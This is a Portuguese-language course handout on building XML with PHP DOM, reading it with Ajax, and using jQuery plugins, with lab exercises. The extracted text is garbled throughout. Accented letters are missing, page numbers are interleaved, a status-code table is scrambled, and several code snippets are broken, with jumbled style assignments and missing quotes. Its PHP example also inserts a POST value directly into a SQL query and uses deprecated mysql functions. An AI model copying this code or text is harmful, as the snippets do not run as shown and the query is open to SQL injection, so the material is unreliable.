Onde: Municpios: TAG root (PAI) do documento, todo documento XML deve possuir uma TAG ROOT, a qual no possui dados, e sim somente filhos (cidades). Cidades: nodo ou n filho da tag root municpios. Cidade: nodo ou n filho da tag cidades, e neta da tag root municpios, possui um n irmo (com mesmo nvel hierrquico) chamado cidade. O documento XML possui extenso XML, e deve sempre vir acompanhado de um cabealho especifico, onde o atributo encoding opcional. Ao criar as tags no seu arquivo XML nunca use espaos e acentos ou caracteres especiais. Os navegadores mais comuns (Internet Explorer e Firefox) possuem uma grande facilidade na interpretao destes arquivos, sendo que erros de sintaxe como mal fechamentos das tags por exemplo acusam erros no navegador, o que gera a seguinte forma de retorno: Firefox:
Internet Explorer:
38
DICA: a utilizao dos arquivos XML muito comum no ambiente Microsoft, exemplo disso a nova extenso de documento do Office 2007, onde seguem os padres antigos, porem com um X no final (.*docx, *.xlsx, *.pptx) isso tornou os arquivos mais leves e acessveis mesmo para quem no possui o Office. Os documentos XML geralmente so gerados por um arquivo dinmico, exemplo disso so os arquivos de Feeds (RSS), onde vemos noticias e informaes incorporadas e atualizadas a cada minuto por um determinado site. Como estamos trabalhando com Ajax e PHP veremos ento uma forma prtica de criarmos um arquivo XML utilizando de DOM e PHP juntos. Laboratrio. 1. Crie um XML que reproduza a estrutura de notas de alunos 2. Crie um XML que reproduza a estrutura de cadastros de produtos 3. Crie um XML que reproduza o cadastro de clientes 4. Crie um XML que demonstre uma tabela de classificao de times de futebol 5. Crie um XML que represente a cotao de vrias moedas
39
Como mencionado anteriormente utilizaremos um classe embutida no php que nos permite a manipulao de elementos com DOM, logo necessitamos instanciar esta classe em um objeto: $dom = new domDocument;
Para criarmos uma nova tag, no nosso caso a primeira a ser criada ser definiada por nos como tag ROOT do documento, precisaremos chamar o mtodo cretaElement, que possui a seguinte sintaxe: Objeto.createElement(nome,valor); Ou seja, $municipios = $dom->createElement(municipios);
Toda vez que criamos um elemento, este ficar solto no ambiente at que seja designado um pai a este nodo, para realizarmos esta atribuio necessitamos de um outro mtodo chamado appendChild, que possui a seguinte sintaxe: Objeto.appendChild(nodo); Ou seja, $dom->appendChild($municipios);
Por fim deveremos salvar o XML criado em um novo documento, porem com extenso apropriada: $dom->save(exemplo01_xml.xml);
Um script bsico para a criao do XML se resume como mostrado a seguir: EXEMPLO01_XML.PHP <?php $dom = new domDocument; $municipios = $dom->createElement('municipios'); $dom->appendChild($municipios); $dom->save('exemplo01_xml.xml'); ?> Quando executarmos o documento gerado pelo nosso arquivo php obteremos a seguinte apresentao:
40
Como no possumos nenhum dado dentro da TAG municpios o prprio PHP trata de resumi-la, sendo que este processo no obrigatrio, mas tratado como uma certa elegncia nos padres de leitura. Observe agora que se quisermos dar continuidade a criao do XML at que tenhamos estrutura semelhando a apresentada no inicio deste capitulo deveremos atentar para um detalhe: $dom->appendChild($municipios); O Objeto $dom quem recebe como filho a tag municpios. Logo, se criarmos outro elemento chamado cidades, quem receber o elemento como filho no ser o objeto $dom e sim o objeto $municipios: $cidades = $dom->createElement(cidades); $municipios->appendChild($cidades);
Faremos o mesmo processo com os outros elementos: $cidade = $dom->createElement('cidade'); $cidades->appendChild($cidade); Por fim, criaremos os ltimos elementos irmo filhos de cidade: $nome = $dom->createElement('nome','Porto Alegre'); $cidade->appendChild($nome); Veja abaixo o cdigo completo do algoritmo em php: <?php $dom = new domDocument; $municipios = $dom->createElement('municipios'); $dom->appendChild($municipios); $cidades = $dom->createElement('cidades'); $municipios->appendChild($cidades); $cidade = $dom->createElement('cidade'); $cidades->appendChild($cidade);
41
A maneira de implementao do PHP em XML bem simples e funcional, lembrando que podemos fazer algo mais robusto e dinmico interagindo diretamente com o banco de dados. Laboratrio: Como mencionado anteriormente podemos implementar um XML atravs de retorno de dados vindos do banco de dados: 1. Implemente um algoritmo em PHP que retorne os dados da tabela de cidades da base de dados j criada anteriormente. Veja uma forma de interpretao do diagrama abaixo:
42
Como mencionado anteriormente podemos implementar um XML atravs de retorno de dados vindos do banco de dados: 2. Monte dinamicamente um XML que represente uma receita 3. Crie e alimente um XML dinamicamente que mostre um organograma simples de uma empresa 4. Crie e alimente um XML dinamicamente que represente um currculo 5. Crie e alimente um XML dinamicamente que mostre e hierarquia de pastas de um computador
43
$xml .= '<cidade>'; $xml .= '<nome>Porto Alegre</nome>'; $xml .= '</cidade>'; $xml .= '<cidade>'; $xml .= '<nome>Viamao</nome>'; $xml .= '</cidade>'; $xml .= '</cidades>'; $xml .= '</municpios>'; echo $xml; ?>
44
Observe que alguns novos elementos esto disponveis na sintaxe da funo que l nosso documento XML. O mtodo setRequestHeader responsvel por inserir informaes adicionais no cabealho do documento lido passando alguns parmetros para variveis j definidas na estrutura: xmlhttp.setRequestHeader("Content-Type", urlencoded"); "application/x-www-form-
Na primeira linha estamos atribuindo o valor de Aplicao ao tipo de contedo lido, j na segunda o script seta o Controle de Cache do navegador como sem armazenamento, Sem cach, Revalidavel, ou seja, estamos limpando o cach do navegador para executar a leitura desses dados, evitando assim que os mesmos sejam reaproveitados pelo browser. Logo a seguir voc pode observar que nosso teste de leitura do documento acesado efetua um novo teste com o mtodo xmlhttp.status, onde estamos verificando se o mesmo igual a 200, ou seja, se a pgina requisitada foi encontrada pelo servidor. O valor 200 significa pgina encontrada, podendo ser trocado por outros valores que significam outros estados de acessibilidade do documento. Veja a tabela a seguir: Cdigo 200 Significado Ready Descrio Documento encontrado e pronto para ser lido. Requisio compreendida servidor. no pelo
400 401
45
mediante
404
Not Found
405
O mtodo utilizado para executar a requisio no permitido pelo servidor ou pelo documento. O servidor retornou um erro ao tentar responder a requisio.
500
Vamos agora implementar uma funo capaz de navegar por cada elemento do documento XML que lemos durante a requisio: function montaResultado(){ var dados_xml = xmlhttp.responseXML; // Recupera todos os elementos categoria do objeto XML var cidades = dados_xml.getElementsByTagName("cidades"); for (var i = 0; i < cidades.length; i++) { // Atribui a cidade cada elemento cidade = cidades[i]; for(var x = 0; x < cidade.childNodes.length; x++){ codigo = cidade.getElementsByTagName("codigo")[x].firstChild.nodeValue; descricao = cidade.getElementsByTagName("descricao")[x].firstChild.nodeValue; // Chama a funo que cria as linhas da tabela document.write(codigo); document.write(descricao); document.write("<hr>");
46
} } } Como podemos observar o resultado retornado pelo documento requisitado foi armazenado na varivel dados_xml atravs do mtodo j mencionado responseXML. Inicialmente o script realizar a busca de um elemento pelo nome de sua TAG, utilizando-se do mtodo getElementByTagName, logo aps da mesma forma que fazamos com o documento em formato texto, realizado um loop que percorre os nodos filhos dessa tag, e atribui esses valores as variveis cdigo e descrio. Neste caso importante ressaltar a utilizao do mtodo childNodes, o qual refere-se aos nodos filhos da tag selecionada. Veja abaixo alguns outros mtodos importantes no Java Script que facilitam bastante a navegao por um documento XML. .childNodes: retorna um vetor com o ndice de ns (nodos) do elemento referenciado. .firstChild: retorna o primeiro nodo filho do elemento referenciado. .lastChild: retorno o ultimo nodo filho do elemento referenciado. .nodeValue: recupera o valor de um nodo. .parentNode: retorna o nodo pai do elemento referenciado. .nextSibiling: retorna o elemento irmo localizado posteriormente ao elemento atual. .previousSibiling: retorna o elemento irmo localizado anteriormente ao elemento atual. .getElementsByTagName: retorna um vetor contendo a relao dos nodos filhos do elemento referenciado. .hasChildNodes: retorna um valor booleano (true ou false) caso o elemento possua nodos filhos. .getAttribute: retorna o valor desejado de um atributo do elemento referenciado. Laboratrio: 1. Crie, alimente e retorne o contedo de um XML que mostre uma seqncia de jogos do campeonato brasileiro com seus resultados 2. Crie, alimente e retorne o contedo de um XML que represente os horrios de linhas do nibus intermunicipais 3. Crie, alimente e retorne o contedo de um XML que exiba a configurao de alguns notebooks 4. Crie, alimente e retorne o contedo de um XML que demonstre a lista de compras de usurios em um e-commerce
47
5. Crie, alimente e retorne o contedo de um XML que represente a discografia de determinados artistas
48
Iremos agora unir o que vimos at o momento, sendo que os dados do documento XML que iremos montar sero acessados diretamente do servidor. A lgica do processo simples, o usurio acessara um documento HTML que possuir um componente responsvel por executar um script dinmico em PHP no servidor, este script por usa vez ir gerar um documento em XML e retornar esses dados ao usurio. Para realizar estas atividades utilizaremos um template muito conhecido na rea de PHP chamado templatepower, que pode ser facilmente localizado na Internet. Em primeiro lugar vamos criar um novo documento HTML o qual possuir simplesmente dois menus de seleo dentro de um formulrio. Observe: Site_cidades.htm <select name="id_uf" onChange="Dados(this.value);" class="formulario3"> <option value="0">--Selecione o estado >></option> <!-- START BLOCK : LOOP-UF --> <option value="{id_uf}" {pselect}>{descricao_abreviada}</option>
49
<!-- END BLOCK : LOOP-UF --> </select> <select name="listCidades" class="formulario3"> <option id="opcoes" value="0">--Primeiro selecione o estado-</option> </select>
O processo todo ser realizado no momento em que clicarmos no menu estado formulrio. Vamos antes montar o arquivo php que interpretar este documento HTML realizando a conversao com o banco de dados e montando o MENU dos estados, no esquecendo de incluirmos dois arquivos (conexo.php e a classe TemplatePower, responsvel pelo sistema de uso de templates): Site_cidades.php <?php include('class.TemplatePower.inc.php'); include('conexao.php'); $sql = "select estados.* from estados order by estados.nome"; $rs = mysql_query($sql) or die(mysql_error()); $total = mysql_num_rows($rs); $tpl = new TemplatePower( "./site_cidades.htm" ); $tpl->prepare(); for($x = 0; $x < $total; $x++){ $tpl->newBlock('LOOP-UF');
50
Aps este processo implementaremos agora o ultimo arquivo dinmico, o documento que ser responsvel por retornar os dados do banco de dados em formato XML para o navegador. Ajax_cidades.php include_once('conexao.php'); $pEstado = $_POST["estado"]; $sql = "select * from cidades where id_uf = ".$pEstado." order by nome"; $rs = mysql_query($sql) or die(mysql_error()); $total = mysql_num_rows($rs); //VERIFICA SE VOLTOU ALGO if($total > 0){ $xml = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n"; $xml .= "<cidades>\n"; for($x = 0; $x < $total; $x++){ $xml .= "<cidade>\n"; $xml .= "<codigo>".mysql_result($rs, $x, 'id_cidade') ."</codigo>\n"; $xml .= "<descricao>".mysql_result($rs, $x, 'descricao')."</descricao>\n"; $xml .= "</cidade>\n"; } $xml.= "</cidades>\n"; header("Content-type: application/xml; charset=iso-8859-1");
51
Se voc executar este documento no navegador, poder observar que ele retorna um documento XML em formato Textual, ou seja, ao longo da implementao criamos uma string que recebia os valores do XML e os atribua a si mesmo, bastando no final escreve-la na tela.
O documento XML retornado como esse, porem populado com os dados do banco:
<cidades> <cidade> <id_cidade></id_cidade> <descricao></descricao> </cidade> <cidade> <id_cidade></id_cidade> <descricao></descricao> </cidade> </cidades>
Criaremos ento um novo arquivo em .JS e nele armazenaremos as nossas funes, s no esquea de incluir este arquivo no documento HTML aps a sua concluso. Ajax_cidades.js function Dados(valor) { //verifica se o browser tem suporte a ajax try { ajax = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { try {
52
ajax = new ActiveXObject("Msxml2.XMLHTTP"); } catch(ex) { try { ajax = new XMLHttpRequest(); } catch(exc) { alert("Esse browser no tem recursos para uso do Ajax"); ajax = null; } } } if(ajax) { //deixa apenas o elemento 1 no option, os outros so excludos document.forms[0].listCidades.options.length = 1; idOpcao = document.getElementById("opcoes");
ajax.open("POST", "../php/ajax_cidades.php", true); ajax.setRequestHeader("Content-Type", "application/x-www-formurlencoded"); ajax.onreadystatechange = function() { //enquanto estiver processando...emite a msg de carregando if(ajax.readyState == 1) { idOpcao.innerHTML = "Carregando...!"; } //aps ser processado - chama funo processXML que vai varrer os dados if(ajax.readyState == 4 ) { if(ajax.responseXML) { processXML(ajax.responseXML); }
53
else { //caso no seja um arquivo XML emite a mensagem abaixo idOpcao.innerHTML = "--Primeiro selecione o estado--"; } } } //passa o cdigo do estado escolhido var params = "estado="+valor; ajax.send(params); } } Como voc pode observar fizemos a juno das conexes e componentes de objetos em XMLHttp em uma mesma funo desta vez, esta sistemtica opcional e voc pode optar por manter a utilizao de funes separadas, como foi o caso de usarmos anteriormente a funo criaxmlhttp() para o Ajax. Por fim, logo aps esta funo iremos disponibilizar no mesmo arquivo a funo responsvel por montar o menu de opes com as cidades listadas conforme o estado escolhido. function processXML(obj){ //pega a tag cidade var dataArray = obj.getElementsByTagName("cidade"); //total de elementos contidos na tag cidade if(dataArray.length > 0) { //percorre o arquivo XML paara extrair os dados for(var i = 0 ; i < dataArray.length ; i++) { var item = dataArray[i]; //contudo dos campos no arquivo XML var codigo = item.getElementsByTagName("codigo")[0].firstChild.nodeValue; var descricao = item.getElementsByTagName("descricao")[0].firstChild.nodeValue; idOpcao.innerHTML = "--Selecione uma das opes abaixo--";
54
//cria um novo option dinamicamente var novo = document.createElement("option"); //atribui um ID a esse elemento novo.setAttribute("id", "opcoes"); //atribui um valor novo.value = codigo; //atribui um texto novo.text = descricao; //finalmente adiciona o novo elemento document.forms[0].listCidades.options.add(novo); } }else { //caso o XML volte vazio, printa a mensagem abaixo idOpcao.innerHTML = "--Primeiro selecione o estado--"; } } A estrutura muito parecida com o que vimos no capitulo anterior, sendo que devemos dar ateno aos mtodos de Dom responsveis pela montagem do menu de listagem no HTML. Exemplo: document.forms[0].listCidades.options.add(elemento); A sintaxe simples, mostrando que apenas da mesma maneira que navegamos por nveis no XML devemos acessar os elementos do documento. Como mencionado anteriormente o domnio do DOM essencial para a realizao de bons trabalhos em Ajax. O resultado do seu script ser como mostrado na imagem abaixo:
55
Laboratrio: 1. Crie um formulrio como o do Twitter, que ao postar o contedo postado aparea logo abaixo
2. Crie uma lista de notcias que seja exibida dinamicamente conforme a tela abaixo
56
57
Este cdigo simplesmente cria um documento HTML composto por uma DIV que possui um contedo. As propriedades dessa DIV podem ser modificadas por um SELETOR no arquivo CSS deste documento. Entretanto, como a mesma possui um nome (ID) podemos acessa-la facilmente pelo DOM do Javascript. Caso quisssemos atribuir uma borda nela por exemplo: elemento = document.getElementById("quadro"); elemento.style.border= '1px #FF0000 dashed';
58
Como voc pode observar primeiro devemos procurar o elemento dentro do documento com o mtodo getElementById. Aps isso armazenamos o mesmo dentro de uma varivel, e a seguir acessamos todo e qualquer propriedade deste elemento por nveis. elemento = document.getElementById("quadro"); elemento.style.border = elemento.style.width = '1px #FF0000 dashed'; '100px'; 'absolute'; '#FF0000';
elemento.style.position = elemento.style.color =
elemento.style.background =
'#FFFFFF';
Consultando um guia das principais tags em CSS voce pode melhorar as suas apresentaes em Ajax, atribuindo cores e comportamentos conforme o resultado retornado. Vamos agora atribuir essas propriedades uma funo e executa-la no ato de carregamento do documento. <html> <head> <script type="text/javascript"> function estilo(){ elemento = document.getElementById("quadro"); elemento.style.border = elemento.style.width = '1px #FF0000 dashed'; '100px'; 'absolute'; '#FF0000';
elemento.style.position = elemento.style.color = } </script> </head> <body onload="estilo();"> <div id="quadro"> Curso de Ajax </div>
elemento.style.background =
'#FFFFFF';
59
</body> </html>
Laboratrio. 1. Crie os seguintes formulrios e funes que permitam manipular suas caractersticas de estilos:
60
2. 2.Cria as seguintes tabelas e funes que permitam manipular suas caractersticas de estilos.
61
62
Disponvel para download no endereo: http://jquery.com/, o prprio slogan da biblioteca j diz: Escreva menos, faa mais. Esta biblioteca se baseia em inmeras expresses regulares que realizam o teste de cada sintaxe disponvel na linguagem Java Script e permite que estes comandos sejam resumidos no cdigo, sendo depois trocados por suas verdadeiras codificaes pela prpria biblioteca. Existem diversas outras bibliotecas concorrentes, sendo que dentre elas podemos citar: Prototype, Dojo, Yahoo! UI, entretanto a JQuery destaca-se pela sua facilidade de uso e pelo seu tamanho: 19Kb j com o modulo de Ajax! Veja abaixo um exemplo diferenciando o da implementao feita com JQuery: $(a).click(function(){ alert(Voce clicou!); }); Neste exemplo estamos dizendo que todo e qualquer link (TAG A) ao ser clicado (evento onclick) ir executar a mensagem Voc clicou!. Ou seja, em 3 linhas voc consegue expressar uma serie de testes e configuraes com inmeros comportamentos vinculados a eventos por exemplo. Imagine que voc deseje selecionar todas as tags DIV do seu documento: Java Script: document.getElementsByTagName(div); JQuery: $(div); Agora suponhamos que voc queira selecionar uma DIV com um ID especifico: Java Script: Document.getElementsById(id_da_div); JQuery: $( #id_da_div); Pegando um exemplo pratico, suponhamos que voc queria esconder todas as tags P de um elemento especifico:
63
JQuery: $( p, id_da_div).hide();
Fcil no? Alem de poder manipular os eventos e propriedades dos elementos, o JQuery conta com efeitos visuais pr-definidos, veja o exemplo: $(p).fadeIn(slow); $(p).fadeOut(slow); $(p).fadeTo(slow, 0.5);
Neste exemplo estamos atribuindo o efeito de Fade (Esmaecimento) a todas as tags P do documento. Dentre as atribuies, algumas mais usadas nos nossos dias como a manipulao de eventos tambm seguem a facilidade e simplicidade no uso: Veja o cdigo HTML abaixo: <div id="menu"> <p>www.vipertech.com.br</p> </div> <button id="botao">Clique aqui</button> Criaremos agora o script que manipula o evento do boto do formulrio: $("botao").click( function() { $("p", "menu" ).fadeOut ("slow"); }); O que estamos fazendo simples e bem fcil de compreender, procuramos o elemento Boto dentro do documento, e atribumos uma funo ao evento CLICK, que consiste em aplicar o efeito FADEOUT ao pargrafo nomeado MENU. Como voc j deve ter observado, s neste exemplo poupamos a escrita de inmeras linhas de cdigo, ganhando muito tempo de implementao. Por fim na JQuery temos mtodos simples, como o que simula a funo innerHTML do Java Script: ("div").html("<b>Novo N HTML</b>"); E atributos de imagem:
64
A documentao do site em que voc baixa a biblioteca bem completa, sendo que muito material e exemplos so encontrados facilmente na internet, devido a rpida difuso deste material. A seguir usaremos algumas outras bibliotecas livres para criarmos uma funcionalidade no mnimo interessante para o nosso site. Laboratrio: 1. Crie um texto com efeito de rolagem 2. Crie um texto com efeito de esmaecimento e reaparecimento 3. Crie um texto com efeito de desaparecimento sem ocupar mais especo que ocupava anteriormente 4. Crie um texto com efeito de desaparecimento ainda mantendo o especo que ocupava anteriormente 5. Crie um texto com efeito que simule piscar
65
Aps este processo voce ira criar uma DIV com um ID, a qual chamaremos de NOTICIAS. Coloque algum contedo dentro desta DIV, sendo que podemos ter qualquer coisa dentro dela. Veja o exemplo abaixo: <div id="noticias"> <table width="200" height="200" bgcolor="#CCCCCC"> <tr> <td align="center">Arraste</td> </tr> </table> </div>
Aps iremos simplesmente implementar o script com a JQuery capaz de realizar o processo de DRAG and DROP desta DIV. Observe o cdigo abaixo: <script type="text/javascript"> $(document).ready( function() { $('#noticias').Draggable( { ghosting: opacity: } ); } ); </script> true, 0.5
66
O significado lgico deste script que ao carregarmos o documento, uma funo executada e rasteia o documento atual procurando um elemento chamado NOTICIAS, atribuindo a propriedade DRAGGABLE presente na classe IDRAG. Alguns efeitos como GHOSTING: rastro, OPCITY: opacidade. Sendo que caso desejemos aplicar estes efeitos em outros elementos, basta apenas replicar o bloco referente DIV. Vejamos mais alguns exemplos de parmetros que a funo DRAGGABLE possui: snapDistance: Este parmetro defini quantos pixels os objeto deve ser movimentado para que seja iniciado o processo de arrastar. Isto serve basicamente para evitar que ocorra uma movimentao acidental frameClass: a definio da classe que ser aplicada ao objeto no momento da seleo. ghosting: Ao invs de arrastar o objeto, criado uma cpia dele e voc acaba arrastando a cpia, quando soltar o objeto original segue at o ponto que voc solto. opacity: Aplica uma opacidade na cpia do objeto. revert: Voc arrasta o objeto e ele retorna para o ponto inicial. grid: [x, y]: Mover em grade. Faz com que o objeto mova-se de tantos em tantos pixels no eixo (x e y). axis: 'vertically' ou 'horizontally' : Mover o objeto ou apenas na vertical ou na horizontal. Para criara barras por exemplo. zIndex: Define a camada que o objeto ir ocupar. cursorAt: { top: x, left: y }: Faz com que o bloco siga o ponteiro do mouse em determinada coordenada. containment: 'parent': Determina se o objeto poder se mover dentro do objeto onde est contido ou se poder mover-se por todo o documento. handle: 'alvo': Este parmetro serve para voc usar um determinado objeto dentro do bloco que deseja arrastar para ser seu ponto de arrasto. Como se fosse s naquele ponto onde se pode arrastar o objeto. Laboratrio
67
1. Crie uma lista de 9 itens que s possam ser arrastados para uma rea chamada carrinho de compras
2. Crie 5 imagens no formato de x e 5 no formato de bola. Crie uma tabela de 3 x 3 e permita que as imagens possam ser arrastadas para as clulas desta tabela
3. Crie um trs objetos em camadas diferentes que possam ser manipulados por todo o documento.
68
jquery.treeview.js treeview.css
69
Bem ento vamos incluir os arquivos necessrios para a execuo: <script src="../lib/jquery.js" type="text/javascript"></script> <script src="../jquery.treeview.js" type="text/javascript"></script> <link rel="stylesheet" href="../jquery.treeview.css" />
Logo aps vamos incluir o cdigo jquery <script> $(document).ready(function(){ // first example $("#navigation").treeview({ persist: "location", collapsed: true, unique: true }); }); </script>
Por fim colocamos a estrutura HTML que ir representar a estrutura propriamente dita:
70
<h4>Exemplo de Menu em rvore</h4> <ul id="navigation"> <li><a href="?1">Item 1</a> <ul> <li><a href="?1.0">Item 1.0</a> <ul> <li><a href="?1.0.0">Item 1.0.0</a></li> </ul> </li> <li><a href="?1.1">Item 1.1</a></li> <li><a href="?1.2">Item 1.2</a> <li><a href="?1.3">Item 1.3</a> <ul> <li><a href="?1.2.0">Item 1.2.0</a> <ul> <li><a href="?1.2.0.0">Item 1.2.0.0</a></li> <li><a href="?1.2.0.1">Item 1.2.0.1</a></li> <li><a href="?1.2.0.2">Item 1.2.0.2</a></li> </ul> </li> <li><a href="?1.2.1">Item 1.2.1</a> <ul> <li><a href="?1.2.1.0">Item 1.2.1.0</a></li> </ul> </li> <li><a href="?1.2.2">Item 1.2.2</a> <ul> <li><a href="?1.2.2.0">Item 1.2.2.0</a></li> <li><a href="?1.2.2.1">Item 1.2.2.1</a></li> <li><a href="?1.2.2.2">Item 1.2.2.2</a></li> </ul>
71
</li> </ul> </li> </ul> </li> <li><a href="?2">Item 2</a> <ul> <li><span>Item 2.0</span> <ul> <li><a href="?2.0.0">Item 2.0.0</a> <ul> <li><a href="?2.0.0.0">Item 2.0.0.0</a></li> <li><a href="?2.0.0.1">Item 2.0.0.1</a></li> </ul> </li> </ul> </li> <li><a href="?2.1">Item 2.1</a> <ul> <li><a href="?2.1.0">Item 2.1.0</a> <ul> <li><a href="?2.1.0.0">Item 2.1.0.0</a></li> </ul> </li> <li><a href="?2.1.1">Item 2.1.1</a> <ul> <li><a href="?2.1.1.0abc">Item 2.1.1.0</a></li> <li><a href="?2.1.1.1">Item 2.1.1.1</a></li> <li><a href="?2.1.1.2">Item 2.1.1.2</a></li> </ul> </li> <li><a href="?2.1.2">Item 2.1.2</a> <ul>
72
<li><a href="?2.1.2.0">Item 2.1.2.0</a></li> <li><a href="?2.1.2.1">Item 2.1.2.1</a></li> <li><a href="?2.1.2.2">Item 2.1.2.2</a></li> </ul> </li> </ul> </li> </ul> </li> <li><a href="?3">Item 3</a> <ul> <li class="open"><a href="?3.0">Item 3.0</a> <ul> <li><a href="?3.0.0">Item 3.0.0</a></li> <li><a href="?3.0.1">Item 3.0.1</a> <ul> <li><a href="?3.0.1.0">Item 3.0.1.0</a></li> <li><a href="?3.0.1.1">Item 3.0.1.1</a></li> </ul> </li> <li><a href="?3.0.2">Item 3.0.2</a> <ul> <li><a href="?3.0.2.0">Item 3.0.2.0</a></li> <li><a href="?3.0.2.1">Item 3.0.2.1</a></li> <li><a href="?3.0.2.2">Item 3.0.2.2</a></li> </ul> </li> </ul> </li> </ul> </li> </ul>
73
Laboratrio 1. Crie um menu em rvore que tenha suas informaes oriundas de um XML 2. Crie um menu em rvore que tenha suas informaes oriundas de uma tabela de um banco de dados
Os links para as imagens podem ter uma formatao parecida com esta: <a href="imagem_grande.jpg"><img src="imagem_pequena.jpg" width="72" height="72" alt="" /></a> Para ativar o recurso basto inserir o seguinte script: <script type="text/javascript"> $(function() { $('a[@rel*=lightbox]').lightBox(); // Seleciona todos os links que contem o valor lightbox no atributo rel $('#galeria a').lightBox(); // Seleciona todos os links do objeto com o id galeria $('a.lightbox').lightBox(); // Seleciona todos os links da classe lightbox
74
$('a').lightBox(); // Seleciona todos os links da pgina }); </script> Laboratrio. 1. Crie uma galeria com 3 imagens e utiliza o efeito lightbox
Vamos ento linkar os arquivos necessrios: <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="jquery.tablesorter.min.js"></script>
75
$(document).ready(function() { $("#myTable").tablesorter( {sortList: [[0,0], [1,0]]} ); } ); </script> Por fim o cdigo HTML: <table id="myTable" class="tablesorter"> <thead> <tr> <th>Last Name</th> <th>First Name</th> <th>Email</th> <th>Due</th> <th>Web Site</th> </tr> </thead> <tbody> <tr> <td>Smith</td> <td>John</td> <td>jsmith@gmail.com</td> <td>$50.00</td> <td>http://www.jsmith.com</td> </tr> <tr> <td>Bach</td> <td>Frank</td> <td>fbach@yahoo.com</td> <td>$50.00</td> <td>http://www.frank.com</td> </tr> <tr>
76
<td>Doe</td> <td>Jason</td> <td>jdoe@hotmail.com</td> <td>$100.00</td> <td>http://www.jdoe.com</td> </tr> <tr> <td>Conway</td> <td>Tim</td> <td>tconway@earthlink.net</td> <td>$50.00</td> <td>http://www.timconway.com</td> </tr> </tbody> </table>
Laboratrio: 1. Crie uma tabela com possibilidade de ordenao que tenha seu dados originados de um arquivo XML. 2. Crie uma tabela com possibilidade de ordenao que tenha seu dados originados de uma tabela de um banco de dados.
77
Vamos ento linkar os arquivos necessrios: <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src=" jquery.jqzoom.js"></script>
Inserimos o script jquery <script type="text/javascript"> jQuery.noConflict(); jQuery(document).ready(function(){ $("img.jqzoom").jqueryzoom({ xzoom: 200, //largura do div de zoom(o valor padro 200) yzoom: 200, // altura do div de zoom (o valor padro 200) offset: 10 //intensidade do zoom (o valor padro 10) //position: "right" //posio do div do zoom(o valor padro rigth) }); }); </script>
78
<div id="maincontent"> <div style="float:left;width:100%;clear:both;"><span class="tozoom"><img src="images/shoe1_small.jpg" class="jqzoom" alt="images/shoe1_big.jpg"></span> <span class="tozoom"><img src="images/shoe2_small.jpg" class="jqzoom" alt="images/shoe2_big.jpg"></span> <span class="tozoom"><img src="images/shoe3_small.jpg" class="jqzoom" alt="images/shoe3_big.jpg"></span> <span class="tozoom"><img src="images/shoe4_small.jpg" class="jqzoom" alt="images/shoe4_big.jpg"></span> </div> <span style="float:left;width:100%;height:200px;"> </span> </div>
Laboratrio: Crie uma galeria de fotos com 4 fotos que suas ampliaes sempre apaream no mesmo local.
79
Vamos ento linkar os arquivos necessrios: <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="rating.js"></script>
Inserimos o script jquery <script type="text/javascript"> $(document).ready(function() { $('#star1').rating('www.url.php', {maxvalue: 1}); $('#star2').rating('www.url.php', {maxvalue:1, curvalue:1}); $('#rate1').rating('www.url.php', {maxvalue:5}); $('#rate2').rating('www.url.php', {maxvalue:5, curvalue:3}); }); </script>
Por fim o cdigo HTML: <div id="star1" class="rating"> </div> <div id="star2" class="rating"> </div> <div id="rate1" class="rating"> </div> <div id="rate2" class="rating"> </div>
Laboratrio:
80
Crie uma lista de vendedores, uma avaliao para cada um e armazene em banco a avaliao deles.
Vamos ento linkar os arquivos necessrios: <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="rating.js"></script>
81
O cdigo css: * { margin: 0; padding: 0; } body { font-size: 75%; color: #222; background: #ffffff; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; line-height: 1.6em; } .widget { width: 310px; margin: 20px; padding: 10px; background: #f3f1eb; border: 1px solid #dedbd1; margin-bottom: 15px; } .widget a { color: #222; text-decoration: none; } .widget a:hover { color: #009; text-decoration: underline; }
82
.tabnav li { display: inline; list-style: none; padding-right: 5px; } .tabnav li a { text-decoration: none; text-transform: uppercase; color: #222; font-weight: bold; padding: 4px 6px; outline: none; } .tabnav li a:hover, .tabnav li a:active, .tabnav li.ui-tabs-selected a { background: #dedbd1; color: #222; text-decoration: none; } .tabdiv { margin-top: 2px; background: #fff; border: 1px solid #dedbd1; padding: 5px; } .tabdiv li { list-style-image: url("star.png"); margin-left: 20px;
83
Inserimos o script jquery $(document).ready(function() { $('#tabvanilla > ul').tabs({ fx: { height: 'toggle', opacity: 'toggle' } }); });
Por fim o cdigo HTML: <div id="tabvanilla" class="widget"> <ul class="tabnav"> <li><a href="#popular">Popular</a></li> <li><a href="#recent">Recent</a></li> <li><a href="#featured">Featured</a></li> </ul> <div id="popular" class="tabdiv"> <ul> <li><a href="#">Welsh Zombie Sheep Invasion</a></li> <li><a href="#">Sheep Rising From The Dead</a></li> <li><a href="#">Blogosphere Daily Released!</a></li> <li><a href="#">Aliens Infiltrate Army Base In UK Town</a></li> <li><a href="#">U2 Rocks New York's Central Park</a></li> <li><a href="#">TA Soldiers Wear Uniforms To Work</a></li> <li><a href="#">13 People Rescued From Flat Fire</a></li> <li><a href="#">US Troops Abandon Afghan Outpost</a></li>
84
<li><a href="#">Are We Alone? A Look Into Space</a></li> <li><a href="#">Apple iPhone 3G Released</a></li> </ul> </div><!--/popular--> <div id="recent" class="tabdiv"> <p>Lorem ipsum dolor sit amet.</p> </div><!--/recent--> <div id="featured" class="tabdiv"> <ul> <li><a href="#">Aliens Infiltrate Army Base In UK Town</a></li> <li><a href="#">Are We Alone? A Look Into Space</a></li> <li><a href="#">U2 Rocks New York's Central Park</a></li> <li><a href="#">TA Soldiers Wear Uniforms To Work</a></li> <li><a href="#">13 People Rescued From Flat Fire</a></li> <li><a href="#">US Troops Abandon Afghan Outpost</a></li> <li><a href="#">Sheep Rising From The Dead</a></li> <li><a href="#">Blogosphere Daily Released!</a></li> <li><a href="#">Apple iPhone 3G Released</a></li> <li><a href="#">Welsh Zombie Sheep Invasion</a></li> </ul> </div><!--featured--> </div><!--/widget-->
Laboratrio: Crie uma lista de notcias, produtos em destaque e emails que tenham sua origem em tabelas de banco de dados.
85
Um recurso bastante interessante a existncia de dicas sobre os links, com informaes sobre os mesmos antes do clique do usurio. A biblioteca jquery possui funes que facilitam esta tarefa. Para realizar esta atividade baixe o seguinte arquivo: jtip.js
